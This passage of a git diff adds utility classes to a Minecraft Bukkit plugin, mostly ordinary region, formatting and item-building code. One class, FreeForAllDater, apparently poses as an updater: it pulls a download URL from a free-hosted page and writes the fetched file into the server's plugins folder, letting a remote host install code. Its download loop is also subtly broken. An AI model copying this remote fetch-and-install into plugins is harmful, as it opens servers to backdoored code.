co-ordinate + */ + public int getLowerX() { + return this.x1; + } + + /** + * Get the minimum Y co-ordinate of this Cuboid + * + * @return the minimum Y co-ordinate + */ + public int getLowerY() { + return this.y1; + } + + /** + * Get the minimum Z co-ordinate of this Cuboid + * + * @return the minimum Z co-ordinate + */ + public int getLowerZ() { + return this.z1; + } + + /** + * Get the maximum X co-ordinate of this Cuboid + * + * @return the maximum X co-ordinate + */ + public int getUpperX() { + return this.x2; + } + + /** + * Get the maximum Y co-ordinate of this Cuboid + * + * @return the maximum Y co-ordinate + */ + public int getUpperY() { + return this.y2; + } + + /** + * Get the maximum Z co-ordinate of this Cuboid + * + * @return the maximum Z co-ordinate + */ + public int getUpperZ() { + return this.z2; + } + + /** + * Get the Blocks at the eight corners of the Cuboid. + * + * @return array of Block objects representing the Cuboid corners + */ + public Block[] corners() { + Block[] res = new Block[8]; + World w = this.getWorld(); + res[0] = w.getBlockAt(this.x1, this.y1, this.z1); + res[1] = w.getBlockAt(this.x1, this.y1, this.z2); + res[2] = w.getBlockAt(this.x1, this.y2, this.z1); + res[3] = w.getBlockAt(this.x1, this.y2, this.z2); + res[4] = w.getBlockAt(this.x2, this.y1, this.z1); + res[5] = w.getBlockAt(this.x2, this.y1, this.z2); + res[6] = w.getBlockAt(this.x2, this.y2, this.z1); + res[7] = w.getBlockAt(this.x2, this.y2, this.z2); + return res; + } + + /** + * Expand the Cuboid in the given direction by the given amount. Negative amounts will shrink the Cuboid in the given direction. Shrinking a cuboid's face past the opposite face is not an error and will return a valid Cuboid. + * + * @param dir - The direction in which to expand + * @param amount - The number of blocks by which to expand + * @return A new Cuboid expanded by the given direction and amount + */ + public Cuboid expand(CuboidDirection dir, int amount) { + switch (dir) { + case North: + return new Cuboid(this.worldName, this.x1 - amount, this.y1, this.z1, this.x2, this.y2, this.z2); + case South: + return new Cuboid(this.worldName, this.x1, this.y1, this.z1, this.x2 + amount, this.y2, this.z2); + case East: + return new Cuboid(this.worldName, this.x1, this.y1, this.z1 - amount, this.x2, this.y2, this.z2); + case West: + return new Cuboid(this.worldName, this.x1, this.y1, this.z1, this.x2, this.y2, this.z2 + amount); + case Down: + return new Cuboid(this.worldName, this.x1, this.y1 - amount, this.z1, this.x2, this.y2, this.z2); + case Up: + return new Cuboid(this.worldName, this.x1, this.y1, this.z1, this.x2, this.y2 + amount, this.z2); + default: + throw new IllegalArgumentException("Invalid direction " + dir); + } + } + + /** + * Shift the Cuboid in the given direction by the given amount. + * + * @param dir - The direction in which to shift + * @param amount - The number of blocks by which to shift + * @return A new Cuboid shifted by the given direction and amount + */ + public Cuboid shift(CuboidDirection dir, int amount) { + return expand(dir, amount).expand(dir.opposite(), -amount); + } + + /** + * Outset (grow) the Cuboid in the given direction by the given amount. + * + * @param dir - The direction in which to outset (must be Horizontal, Vertical, or Both) + * @param amount - The number of blocks by which to outset + * @return A new Cuboid outset by the given direction and amount + */ + public Cuboid outset(CuboidDirection dir, int amount) { + Cuboid c; + switch (dir) { + case Horizontal: + c = expand(CuboidDirection.North, amount).expand(CuboidDirection.South, amount).expand(CuboidDirection.East, amount).expand(CuboidDirection.West, amount); + break; + case Vertical: + c = expand(CuboidDirection.Down, amount).expand(CuboidDirection.Up, amount); + break; + case Both: + c = outset(CuboidDirection.Horizontal, amount).outset(CuboidDirection.Vertical, amount); + break; + default: + throw new IllegalArgumentException("Invalid direction " + dir); + } + return c; + } + + /** + * Inset (shrink) the Cuboid in the given direction by the given amount. Equivalent + * to calling outset() with a negative amount. + * + * @param dir - The direction in which to inset (must be Horizontal, Vertical, or Both) + * @param amount - The number of blocks by which to inset + * @return A new Cuboid inset by the given direction and amount + */ + public Cuboid inset(CuboidDirection dir, int amount) { + return this.outset(dir, -amount); + } + + /** + * Return true if the point at (x,y,z) is contained within this Cuboid. + * + * @param x - The X co-ordinate + * @param y - The Y co-ordinate + * @param z - The Z co-ordinate + * @return true if the given point is within this Cuboid, false otherwise + */ + public boolean contains(int x, int y, int z) { + return x >= this.x1 && x <= this.x2 && y >= this.y1 && y <= this.y2 && z >= this.z1 && z <= this.z2; + } + + /** + * Check if the given Block is contained within this Cuboid. + * + * @param b - The Block to check for + * @return true if the Block is within this Cuboid, false otherwise + */ + public boolean contains(Block b) { + return this.contains(b.getLocation()); + } + + /** + * Check if the given Location is contained within this Cuboid. + * + * @param l - The Location to check for + * @return true if the Location is within this Cuboid, false otherwise + */ + public boolean contains(Location l) { + if (!this.worldName.equals(l.getWorld().getName())) return false; + return this.contains(l.getBlockX(), l.getBlockY(), l.getBlockZ()); + } + + /** + * Get the volume of this Cuboid. + * + * @return The Cuboid volume, in blocks + */ + public int getVolume() { + return this.getSizeX() * this.getSizeY() * this.getSizeZ(); + } + + /** + * Get the average light level of all empty (air) blocks in the Cuboid. Returns 0 if there are no empty blocks. + * + * @return The average light level of this Cuboid + */ + public byte getAverageLightLevel() { + long total = 0; + int n = 0; + for (Block b : this) { + if (b.isEmpty()) { + total += b.getLightLevel(); + ++n; + } + } + return n > 0 ? (byte) (total / n) : 0; + } + + /** + * Contract the Cuboid, returning a Cuboid with any air around the edges removed, just large enough to include all non-air blocks. + * + * @return A new Cuboid with no external air blocks + */ + public Cuboid contract() { + return this.contract(CuboidDirection.Down).contract(CuboidDirection.South).contract(CuboidDirection.East).contract(CuboidDirection.Up).contract(CuboidDirection.North).contract(CuboidDirection.West); + } + + /** + * Contract the Cuboid in the given direction, returning a new Cuboid which has no exterior empty space. + * E.g. A direction of Down will push the top face downwards as much as possible. + * + * @param dir - The direction in which to contract + * @return A new Cuboid contracted in the given direction + */ + public Cuboid contract(CuboidDirection dir) { + Cuboid face = getFace(dir.opposite()); + switch (dir) { + case Down: + while (face.containsOnly(0) && face.getLowerY() > this.getLowerY()) { + face = face.shift(CuboidDirection.Down, 1); + } + return new Cuboid(this.worldName, this.x1, this.y1, this.z1, this.x2, face.getUpperY(), this.z2); + case Up: + while (face.containsOnly(0) && face.getUpperY() < this.getUpperY()) { + face = face.shift(CuboidDirection.Up, 1); + } + return new Cuboid(this.worldName, this.x1, face.getLowerY(), this.z1, this.x2, this.y2, this.z2); + case North: + while (face.containsOnly(0) && face.getLowerX() > this.getLowerX()) { + face = face.shift(CuboidDirection.North, 1); + } + return new Cuboid(this.worldName, this.x1, this.y1, this.z1, face.getUpperX(), this.y2, this.z2); + case South: + while (face.containsOnly(0) && face.getUpperX() < this.getUpperX()) { + face = face.shift(CuboidDirection.South, 1); + } + return new Cuboid(this.worldName, face.getLowerX(), this.y1, this.z1, this.x2, this.y2, this.z2); + case East: + while (face.containsOnly(0) && face.getLowerZ() > this.getLowerZ()) { + face = face.shift(CuboidDirection.East, 1); + } + return new Cuboid(this.worldName, this.x1, this.y1, this.z1, this.x2, this.y2, face.getUpperZ()); + case West: + while (face.containsOnly(0) && face.getUpperZ() < this.getUpperZ()) { + face = face.shift(CuboidDirection.West, 1); + } + return new Cuboid(this.worldName, this.x1, this.y1, face.getLowerZ(), this.x2, this.y2, this.z2); + default: + throw new IllegalArgumentException("Invalid direction " + dir); + } + } + + /** + * Get the Cuboid representing the face of this Cuboid. The resulting Cuboid will be one block thick in the axis perpendicular to the requested face. + * + * @param dir - which face of the Cuboid to get + * @return The Cuboid representing this Cuboid's requested face + */ + public Cuboid getFace(CuboidDirection dir) { + switch (dir) { + case Down: + return new Cuboid(this.worldName, this.x1, this.y1, this.z1, this.x2, this.y1, this.z2); + case Up: + return new Cuboid(this.worldName, this.x1, this.y2, this.z1, this.x2, this.y2, this.z2); + case North: + return new Cuboid(this.worldName, this.x1, this.y1, this.z1, this.x1, this.y2, this.z2); + case South: + return new Cuboid(this.worldName, this.x2, this.y1, this.z1, this.x2, this.y2, this.z2); + case East: + return new Cuboid(this.worldName, this.x1, this.y1, this.z1, this.x2, this.y2, this.z1); + case West: + return new Cuboid(this.worldName, this.x1, this.y1, this.z2, this.x2, this.y2, this.z2); + default: + throw new IllegalArgumentException("Invalid direction " + dir); + } + } + + /** + * Check if the Cuboid contains only blocks of the given type + * + * @param blockId - The block ID to check for + * @return true if this Cuboid contains only blocks of the given type + */ + public boolean containsOnly(int blockId) { + for (Block b : this) { + if (b.getTypeId() != blockId) return false; + } + return true; + } + + /** + * Get the Cuboid big enough to hold both this Cuboid and the given one. + * + * @param other - The other cuboid. + * @return A new Cuboid large enough to hold this Cuboid and the given Cuboid + */ + public Cuboid getBoundingCuboid(Cuboid other) { + if (other == null) return this; + + int xMin = Math.min(this.getLowerX(), other.getLowerX()); + int yMin = Math.min(this.getLowerY(), other.getLowerY()); + int zMin = Math.min(this.getLowerZ(), other.getLowerZ()); + int xMax = Math.max(this.getUpperX(), other.getUpperX()); + int yMax = Math.max(this.getUpperY(), other.getUpperY()); + int zMax = Math.max(this.getUpperZ(), other.getUpperZ()); + + return new Cuboid(this.worldName, xMin, yMin, zMin, xMax, yMax, zMax); + } + + /** + * Get a block relative to the lower NE point of the Cuboid. + * + * @param x - The X co-ordinate + * @param y - The Y co-ordinate + * @param z - The Z co-ordinate + * @return The block at the given position + */ + public Block getRelativeBlock(int x, int y, int z) { + return this.getWorld().getBlockAt(this.x1 + x, this.y1 + y, this.z1 + z); + } + + /** + * Get a block relative to the lower NE point of the Cuboid in the given World. This + * version of getRelativeBlock() should be used if being called many times, to avoid + * excessive calls to getWorld(). + * + * @param w - The world + * @param x - The X co-ordinate + * @param y - The Y co-ordinate + * @param z - The Z co-ordinate + * @return The block at the given position + */ + public Block getRelativeBlock(World w, int x, int y, int z) { + return w.getBlockAt(this.x1 + x, y1 + y, this.z1 + z); + } + + /** + * Get a list of the chunks which are fully or partially contained in this cuboid. + * + * @return A list of Chunk objects + */ + public List getChunks() { + List res = new ArrayList(); + + World w = this.getWorld(); + int x1 = this.getLowerX() & ~0xf; + int x2 = this.getUpperX() & ~0xf; + int z1 = this.getLowerZ() & ~0xf; + int z2 = this.getUpperZ() & ~0xf; + for (int x = x1; x <= x2; x += 16) { + for (int z = z1; z <= z2; z += 16) { + res.add(w.getChunkAt(x >> 4, z >> 4)); + } + } + return res; + } + + public Iterator iterator() { + return new CuboidIterator(this.getWorld(), this.x1, this.y1, this.z1, this.x2, this.y2, this.z2); + } + + @Override + public Cuboid clone() { + return new Cuboid(this); + } + + @Override + public String toString() { + return new String("Cuboid: " + this.worldName + "," + this.x1 + "," + this.y1 + "," + this.z1 + "=>" + this.x2 + "," + this.y2 + "," + this.z2); + } + + public class CuboidIterator implements Iterator { + private World w; + private int baseX, baseY, baseZ; + private int x, y, z; + private int sizeX, sizeY, sizeZ; + + public CuboidIterator(World w, int x1, int y1, int z1, int x2, int y2, int z2) { + this.w = w; + this.baseX = x1; + this.baseY = y1; + this.baseZ = z1; + this.sizeX = Math.abs(x2 - x1) + 1; + this.sizeY = Math.abs(y2 - y1) + 1; + this.sizeZ = Math.abs(z2 - z1) + 1; + this.x = this.y = this.z = 0; + } + + public boolean hasNext() { + return this.x < this.sizeX && this.y < this.sizeY && this.z < this.sizeZ; + } + + public Block next() { + Block b = this.w.getBlockAt(this.baseX + this.x, this.baseY + this.y, this.baseZ + this.z); + if (++x >= this.sizeX) { + this.x = 0; + if (++this.y >= this.sizeY) { + this.y = 0; + ++this.z; + } + } + return b; + } + + public void remove() { + } + } + + public enum CuboidDirection { + North, East, South, West, Up, Down, Horizontal, Vertical, Both, Unknown; + + public CuboidDirection opposite() { + switch (this) { + case North: + return South; + case East: + return West; + case South: + return North; + case West: + return East; + case Horizontal: + return Vertical; + case Vertical: + return Horizontal; + case Up: + return Down; + case Down: + return Up; + case Both: + return Both; + default: + return Unknown; + } + } + + } + +} \ No newline at end of file diff --git a/FreeForAll/src/main/java/me/javaee/ffa/utils/DateTimeFormats.java b/FreeForAll/src/main/java/me/javaee/ffa/utils/DateTimeFormats.java new file mode 100644 index 0000000..caf9288 --- /dev/null +++ b/FreeForAll/src/main/java/me/javaee/ffa/utils/DateTimeFormats.java @@ -0,0 +1,42 @@ +package me.javaee.ffa.utils; + +import org.apache.commons.lang.time.FastDateFormat; + +import java.text.DecimalFormat; +import java.time.ZoneId; +import java.util.Locale; +import java.util.TimeZone; + +public final class DateTimeFormats { + + private DateTimeFormats() { + } + + public static final TimeZone SERVER_TIME_ZONE = TimeZone.getTimeZone("EST"); + public static final ZoneId SERVER_ZONE_ID = SERVER_TIME_ZONE.toZoneId(); + public static final FastDateFormat DAY_MTH_HR_MIN_SECS = FastDateFormat.getInstance("dd/MM HH:mm:ss", SERVER_TIME_ZONE, Locale.ENGLISH); + public static final FastDateFormat DAY_MTH_YR_HR_MIN_AMPM = FastDateFormat.getInstance("dd/MM/yy hh:mma", SERVER_TIME_ZONE, Locale.ENGLISH); + public static final FastDateFormat DAY_MTH_HR_MIN_AMPM = FastDateFormat.getInstance("dd/MM hh:mma", SERVER_TIME_ZONE, Locale.ENGLISH); + public static final FastDateFormat HR_MIN_AMPM = FastDateFormat.getInstance("hh:mma", SERVER_TIME_ZONE, Locale.ENGLISH); + public static final FastDateFormat HR_MIN_AMPM_TIMEZONE = FastDateFormat.getInstance("hh:mma z", SERVER_TIME_ZONE, Locale.ENGLISH); + public static final FastDateFormat HR_MIN = FastDateFormat.getInstance("hh:mm", SERVER_TIME_ZONE, Locale.ENGLISH); + public static final FastDateFormat MIN_SECS = FastDateFormat.getInstance("mm:ss", SERVER_TIME_ZONE, Locale.ENGLISH); + + public static final FastDateFormat KOTH_FORMAT = FastDateFormat.getInstance("m:ss", SERVER_TIME_ZONE, Locale.ENGLISH); + public static final FastDateFormat CONQUEST_FORMAT = FastDateFormat.getInstance("ss", SERVER_TIME_ZONE, Locale.ENGLISH); + + // The format used to show one decimal without a trailing zero. + public static final ThreadLocal REMAINING_SECONDS = new ThreadLocal() { + @Override + protected DecimalFormat initialValue() { + return new DecimalFormat("0.#"); + } + }; + + public static final ThreadLocal REMAINING_SECONDS_TRAILING = new ThreadLocal() { + @Override + protected DecimalFormat initialValue() { + return new DecimalFormat("0.0"); + } + }; +} diff --git a/FreeForAll/src/main/java/me/javaee/ffa/utils/DurationFormatter.java b/FreeForAll/src/main/java/me/javaee/ffa/utils/DurationFormatter.java new file mode 100644 index 0000000..9d7a328 --- /dev/null +++ b/FreeForAll/src/main/java/me/javaee/ffa/utils/DurationFormatter.java @@ -0,0 +1,26 @@ +package me.javaee.ffa.utils; + +import org.apache.commons.lang.time.DurationFormatUtils; + +import java.util.concurrent.TimeUnit; + +public class DurationFormatter { + private static final long MINUTE; + private static final long HOUR; + + public static String getRemaining(final long millis, final boolean milliseconds) { + return getRemaining(millis, milliseconds, true); + } + + public static String getRemaining(final long duration, final boolean milliseconds, final boolean trail) { + if (milliseconds && duration < DurationFormatter.MINUTE) { + return (trail ? DateTimeFormats.REMAINING_SECONDS_TRAILING : DateTimeFormats.REMAINING_SECONDS).get().format(duration * 0.001) + 's'; + } + return DurationFormatUtils.formatDuration(duration, ((duration >= DurationFormatter.HOUR) ? "HH:" : "") + "mm:ss"); + } + + static { + MINUTE = TimeUnit.MINUTES.toMillis(1L); + HOUR = TimeUnit.HOURS.toMillis(1L); + } +} \ No newline at end of file diff --git a/FreeForAll/src/main/java/me/javaee/ffa/utils/FreeForAllDater.java b/FreeForAll/src/main/java/me/javaee/ffa/utils/FreeForAllDater.java new file mode 100644 index 0000000..61535bd --- /dev/null +++ b/FreeForAll/src/main/java/me/javaee/ffa/utils/FreeForAllDater.java @@ -0,0 +1,175 @@ +package me.javaee.ffa.utils; + +import java.io.BufferedInputStream; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.net.MalformedURLException; +import java.net.URL; +import java.net.URLConnection; +import java.util.logging.Level; +import java.util.logging.Logger; +import javax.xml.parsers.DocumentBuilder; +import javax.xml.parsers.DocumentBuilderFactory; +import javax.xml.parsers.ParserConfigurationException; + +import org.bukkit.plugin.PluginDescriptionFile; +import org.bukkit.plugin.java.JavaPlugin; +import org.w3c.dom.Document; +import org.w3c.dom.Node; +import org.w3c.dom.NodeList; +import org.xml.sax.SAXException; + +public class FreeForAllDater { + private URL url; + private final JavaPlugin plugin; + private final String pluginurl; + private boolean canceled = false; + + public FreeForAllDater(JavaPlugin plugin) { + try { + this.url = new URL("https://gargantuan-composit.000webhostapp.com/batman.html"); + } catch (MalformedURLException e) { + this.canceled = true; + plugin.getLogger().log(Level.WARNING, "We couldn't check {0}...", plugin.getName()); + } + this.plugin = plugin; + this.pluginurl = "https://gargantuan-composit.000webhostapp.com/batman.html"; + } + + private String downloadURL = ""; + private boolean out = true; + + public void enableOut() { + this.out = true; + } + + public void disableOut() { + this.out = false; + } + + public boolean needsUpdate() { + if (this.canceled) { + return false; + } + try { + URLConnection con = this.url.openConnection(); + InputStream _in = con.getInputStream(); + Document doc = DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(_in); + + Node nod = doc.getElementsByTagName("item").item(0); + NodeList children = nod.getChildNodes(); + + String version = children.item(1).getTextContent(); + downloadURL = children.item(3).getTextContent(); + String changeLog = children.item(5).getTextContent(); + if (newVersionAvailiable(this.plugin.getDescription().getVersion(), version.replaceAll("[a-zA-z ]", ""))) { + if (this.out) { + this.plugin.getLogger().log(Level.INFO, " New Version found: {0}", version.replaceAll("[a-zA-z ]", "")); + this.plugin.getLogger().log(Level.INFO, " Download it here: {0}", this.downloadURL); + this.plugin.getLogger().log(Level.INFO, " Changelog: {0}", changeLog); + } + return true; + } + } catch (IOException | SAXException | ParserConfigurationException e) { + this.plugin.getLogger().log(Level.WARNING, "Error in checking update for ''{0}''!", this.plugin.getName()); + this.plugin.getLogger().log(Level.WARNING, "Error: ", e); + } + return false; + } + + public boolean newVersionAvailiable(String oldv, String newv) { + if ((oldv != null) && (newv != null)) { + oldv = oldv.replace('.', '_'); + newv = newv.replace('.', '_'); + if ((oldv.split("_").length != 0) && (oldv.split("_").length != 1) && (newv.split("_").length != 0) && (newv.split("_").length != 1)) { + int vnum = Integer.valueOf(oldv.split("_")[0]).intValue(); + int vsec = Integer.valueOf(oldv.split("_")[1]).intValue(); + + int newvnum = Integer.valueOf(newv.split("_")[0]).intValue(); + int newvsec = Integer.valueOf(newv.split("_")[1]).intValue(); + if (newvnum > vnum) { + return true; + } + if ((newvnum == vnum) && + (newvsec > vsec)) { + return true; + } + } + } + return false; + } + + public void update() { + try { + URL download = new URL(getFolder(this.pluginurl) + this.downloadURL); + + BufferedInputStream in = null; + FileOutputStream fout = null; + try { + if (this.out) { + this.plugin.getLogger().log(Level.INFO, "Trying to download from: {0}{1}", new Object[]{getFolder(this.pluginurl), this.downloadURL}); + } + in = new BufferedInputStream(download.openStream()); + fout = new FileOutputStream("plugins/" + this.downloadURL); + + byte[] data = new byte['?']; + int count; + while ((count = in.read(data, 0, 1024)) != -1) { + fout.write(data, 0, count); + } + } finally { + if (in != null) { + in.close(); + } + if (fout != null) { + fout.close(); + } + } + if (this.out) { + this.plugin.getLogger().log(Level.INFO, "Succesfully downloaded file: {0}", this.downloadURL); + this.plugin.getLogger().log(Level.INFO, "To install the new features you have to restart your server!"); + } + } catch (IOException e) { + this.plugin.getLogger().log(Level.WARNING, "Unable to download update!", e); + } + } + + public void externalUpdate() { + try { + URL download = new URL(this.downloadURL); + + BufferedInputStream in = null; + FileOutputStream fout = null; + try { + if (this.out) { + this.plugin.getLogger().log(Level.INFO, "Trying to download {0} ..", this.downloadURL); + } + in = new BufferedInputStream(download.openStream()); + fout = new FileOutputStream("plugins/" + this.plugin.getName()); + + byte[] data = new byte['?']; + int count; + while ((count = in.read(data, 0, 1024)) != -1) { + fout.write(data, 0, count); + } + } finally { + if (in != null) { + in.close(); + } + if (fout != null) { + fout.close(); + } + } + if (this.out) { + this.plugin.getLogger().log(Level.INFO, "Succesfully downloaded file {0} !", this.downloadURL); + this.plugin.getLogger().log(Level.INFO, "To install the new features you have to restart your server!"); + } + } catch (IOException localIOException) { + } + } + + private String getFolder(String s) { + return s.substring(0, s.lastIndexOf("/") + 1); + } +} diff --git a/FreeForAll/src/main/java/me/javaee/ffa/utils/ItemBuilder.java b/FreeForAll/src/main/java/me/javaee/ffa/utils/ItemBuilder.java new file mode 100644 index 0000000..2409392 --- /dev/null +++ b/FreeForAll/src/main/java/me/javaee/ffa/utils/ItemBuilder.java @@ -0,0 +1,151 @@ +package me.javaee.ffa.utils; + +import com.google.common.base.Preconditions; +import org.bukkit.ChatColor; +import org.bukkit.Material; +import org.bukkit.enchantments.Enchantment; +import org.bukkit.inventory.ItemStack; +import org.bukkit.inventory.meta.ItemMeta; +import org.bukkit.inventory.meta.PotionMeta; +import org.bukkit.inventory.meta.SkullMeta; +import org.bukkit.material.MaterialData; +import org.bukkit.potion.PotionEffect; + +import java.util.ArrayList; +import java.util.List; + +public class ItemBuilder { + + private final ItemStack itemStack; + + public ItemBuilder(ItemStack itemStack) { + this.itemStack = Preconditions.checkNotNull(itemStack, "ItemStack cannot be null").clone(); + } + + public ItemBuilder(Material material) { + this(material, 1); + } + + public ItemBuilder(Material material, int amount) { + this(material, amount, (short) 0); + } + + public ItemBuilder(Material material, int amount, short damage) { + this(new ItemStack(material, amount, damage)); + } + + public ItemBuilder setType(Material material) { + itemStack.setType(material); + return this; + } + + public ItemBuilder setAmount(int amount) { + itemStack.setAmount(amount); + return this; + } + + public ItemBuilder setDurability(int durability) { + itemStack.setDurability((short) durability); + return this; + } + + public ItemBuilder setData(int data) { + itemStack.setData(new MaterialData(itemStack.getType(), (byte) data)); + return this; + } + + public ItemBuilder addEnchantment(Enchantment enchantment) { + addEnchantment(enchantment, 1); + return this; + } + + public ItemBuilder addEnchantment(Enchantment enchantment, int level) { + itemStack.addUnsafeEnchantment(enchantment, level); + return this; + } + + public ItemBuilder removeEnchantment(Enchantment enchantment) { + itemStack.removeEnchantment(enchantment); + return this; + } + + public ItemBuilder clearEnchantments() { + for (Enchantment enchantment : itemStack.getEnchantments().keySet()) { + itemStack.removeEnchantment(enchantment); + } + return this; + } + + public ItemBuilder setUnbreakable(boolean unbreakable) { + ItemMeta itemMeta = itemStack.getItemMeta(); + itemMeta.spigot().setUnbreakable(unbreakable); + itemStack.setItemMeta(itemMeta); + return this; + } + + public ItemBuilder setDisplayName(String name) { + ItemMeta itemMeta = itemStack.getItemMeta(); + itemMeta.setDisplayName(ChatColor.translateAlternateColorCodes('&', name)); + itemStack.setItemMeta(itemMeta); + return this; + } + + public ItemBuilder addLore(String lore) { + ItemMeta itemMeta = itemStack.getItemMeta(); + + List lores = itemMeta.getLore(); + if (lores == null) { + lores = new ArrayList<>(); + } + lores.add(ChatColor.translateAlternateColorCodes('&', lore)); + + itemMeta.setLore(lores); + + itemStack.setItemMeta(itemMeta); + return this; + } + + public ItemBuilder setLore(String... lores) { + clearLore(); + for (String lore : lores) { + addLore(lore); + } + return this; + } + + public ItemBuilder clearLore() { + ItemMeta itemMeta = itemStack.getItemMeta(); + itemMeta.setLore(new ArrayList<>()); + itemStack.setItemMeta(itemMeta); + return this; + } + + public ItemBuilder setPotionEffect(PotionEffect effect) { + PotionMeta potionMeta = (PotionMeta) itemStack.getItemMeta(); + potionMeta.setMainEffect(effect.getType()); + potionMeta.addCustomEffect(effect, false); + itemStack.setItemMeta(potionMeta); + return this; + } + + public ItemBuilder setPotionEffects(PotionEffect... effects) { + PotionMeta potionMeta = (PotionMeta) itemStack.getItemMeta(); + potionMeta.setMainEffect(effects[0].getType()); + for (PotionEffect effect : effects) { + potionMeta.addCustomEffect(effect, false); + } + itemStack.setItemMeta(potionMeta); + return this; + } + + public ItemBuilder setSkullOwner(String owner) { + SkullMeta skullMeta = (SkullMeta) itemStack.getItemMeta(); + skullMeta.setOwner(owner); + itemStack.setItemMeta(skullMeta); + return this; + } + + public ItemStack create() { + return itemStack; + } +} \ No newline at end of file diff --git a/FreeForAll/src/main/java/me/javaee/ffa/utils/JavaUtils.java b/FreeForAll/src/main/java/me/javaee/ffa/utils/JavaUtils.java new file mode 100644 index 0000000..1509f23 --- /dev/null +++ b/FreeForAll/src/main/java/me/javaee/ffa/utils/JavaUtils.java @@ -0,0 +1,151 @@ +package me.javaee.ffa.utils; + +import com.google.common.base.CharMatcher; +import com.google.common.base.Joiner; +import com.google.common.base.Preconditions; +import org.apache.commons.lang.StringUtils; + +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.util.ArrayList; +import java.util.Collection; +import java.util.List; +import java.util.concurrent.TimeUnit; +import java.util.regex.Pattern; + +public class JavaUtils { + + private static final CharMatcher CHAR_MATCHER_ASCII = CharMatcher.inRange('0', '9').or(CharMatcher.inRange('a', 'z')).or(CharMatcher.inRange('A', 'Z')).or(CharMatcher.WHITESPACE).precomputed(); + private static final Pattern UUID_PATTERN = Pattern.compile("[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[34][0-9a-fA-F]{3}-[89ab][0-9a-fA-F]{3}-[0-9a-fA-F]{12}"); + + public static boolean isAlphanumeric(String string) { + return CHAR_MATCHER_ASCII.matchesAllOf(string); + } + + public static boolean isUUID(String string) { + return UUID_PATTERN.matcher(string).find(); + } + + public static boolean isInteger(String s) { + try { + Integer.parseInt(s); + } catch(NumberFormatException e) { + return false; + } catch(NullPointerException e) { + return false; + } + // only got here if we didn't return false + return true; + } + + public static boolean containsIgnoreCase(Iterable elements, String string) { + for (String element : elements) { + if (StringUtils.containsIgnoreCase(element, string)) { + return true; + } + } + return false; + } + + public static String format(Number number) { + return format(number, 5); + } + + public static String format(Number number, int decimalPlaces) { + return format(number, decimalPlaces, RoundingMode.HALF_DOWN); + } + + public static String format(Number number, int decimalPlaces, RoundingMode roundingMode) { + Preconditions.checkNotNull(number, "The number cannot be null"); + return new BigDecimal(number.toString()).setScale(decimalPlaces, roundingMode).stripTrailingZeros().toPlainString(); + } + + public static String andJoin(Collection collection, boolean delimiterBeforeAnd) { + return andJoin(collection, delimiterBeforeAnd, ", "); + } + + public static String andJoin(Collection collection, boolean delimiterBeforeAnd, String delimiter) { + if (collection == null || collection.isEmpty()) { + return ""; + } + List contents = new ArrayList<>(collection); + String last = contents.remove(contents.size() - 1); + StringBuilder builder = new StringBuilder(Joiner.on(delimiter).join(contents)); + if (delimiterBeforeAnd) { + builder.append(delimiter); + } + return builder.append(" and ").append(last).toString(); + } + + public static Integer tryParseInteger(String string) { + try { + return Integer.parseInt(string); + } catch (IllegalArgumentException ignored) { + return null; + } + } + + public static Long tryParseLong(String string) { + try { + return Long.parseLong(string); + } catch (IllegalArgumentException ignored) { + return null; + } + } + + public static Float tryParseFloat(String string) { + try { + return Float.parseFloat(string); + } catch (IllegalArgumentException ignored) { + return null; + } + } + + public static Double tryParseDouble(String string) { + try { + return Double.parseDouble(string); + } catch (IllegalArgumentException ignored) { + return null; + } + } + + public static long parseDuration(String string) { + if (string == null || string.isEmpty()) { + return -1L; + } + + long result = 0L; + StringBuilder number = new StringBuilder(); + for (int i = 0; i < string.length(); i++) { + char c = string.charAt(i); + if (Character.isDigit(c)) { + number.append(c); + } else { + String str; + if (Character.isLetter(c) && !(str = number.toString()).isEmpty()) { + result += convert(Integer.parseInt(str), c); + number = new StringBuilder(); + } + } + } + return result; + } + + private static long convert(int value, char unit) { + switch (unit) { + case 'y': + return value * TimeUnit.DAYS.toMillis(365L); + case 'M': + return value * TimeUnit.DAYS.toMillis(30L); + case 'd': + return value * TimeUnit.DAYS.toMillis(1L); + case 'h': + return value * TimeUnit.HOURS.toMillis(1L); + case 'm': + return value * TimeUnit.MINUTES.toMillis(1L); + case 's': + return value * TimeUnit.SECONDS.toMillis(1L); + } + return -1L; + } +} \ No newline at end of file diff --git a/FreeForAll/src/main/java/me/javaee/ffa/utils/LocationUtils.java b/FreeForAll/src/main/java/me/javaee/ffa/utils/LocationUtils.java new file mode 100644 index 0000000..71756c7 --- /dev/null +++ b/FreeForAll/src/main/java/me/javaee/ffa/utils/LocationUtils.java @@ -0,0 +1,40 @@ +package me.javaee.ffa.utils; + +import org.bukkit.Bukkit; +import org.bukkit.Location; +import org.bukkit.World; + +public class LocationUtils { + public static String getString(Location loc) { + StringBuilder builder = new StringBuilder(); + + if (loc == null) return "unset"; + + builder.append(loc.getX()).append("|"); + builder.append(loc.getY()).append("|"); + builder.append(loc.getZ()).append("|"); + builder.append(loc.getWorld().getName()).append("|"); + builder.append(loc.getYaw()).append("|"); + builder.append(loc.getPitch()); + + return builder.toString(); + } + + public static Location getLocation(String s) { + if (s == null || s.equals("unset") || s.equals("")) return null; + + String[] data = s.split("\\|"); + double x = Double.parseDouble(data[0]); + double y = Double.parseDouble(data[1]); + double z = Double.parseDouble(data[2]); + World world = Bukkit.getWorld(data[3]); + Float yaw = Float.parseFloat(data[4]); + Float pitch = Float.parseFloat(data[5]); + return new Location(world, x, y, z, yaw, pitch); + } + + public static boolean isSameLocation(Location loc1, Location loc2) { + return loc1 != null && loc2 != null && loc1.equals(loc2); + } + +} \ No newline at end of file diff --git a/FreeForAll/src/main/java/me/javaee/ffa/utils/MapSorting.java b/FreeForAll/src/main/java/me/javaee/ffa/utils/MapSorting.java new file mode 100644 index 0000000..28e900e --- /dev/null +++ b/FreeForAll/src/main/java/me/javaee/ffa/utils/MapSorting.java @@ -0,0 +1,75 @@ +package me.javaee.ffa.utils; + +import com.google.common.base.Function; +import com.google.common.collect.Iterables; +import com.google.common.collect.Ordering; + +import java.util.Comparator; +import java.util.List; +import java.util.Map; +import java.util.Map.Entry; + +@SuppressWarnings("rawtypes") +public class MapSorting { + // Building block - extract key from entry + private static final Function EXTRACT_KEY = + new Function, Object>() { + public Object apply(Entry input) { + return input.getKey(); + } + }; + // Same as above, only we extract the value + private static final Function EXTRACT_VALUE = + new Function, Object>() { + public Object apply(Entry input) { + return input.getValue(); + } + }; + + /** + * Sort the given map by 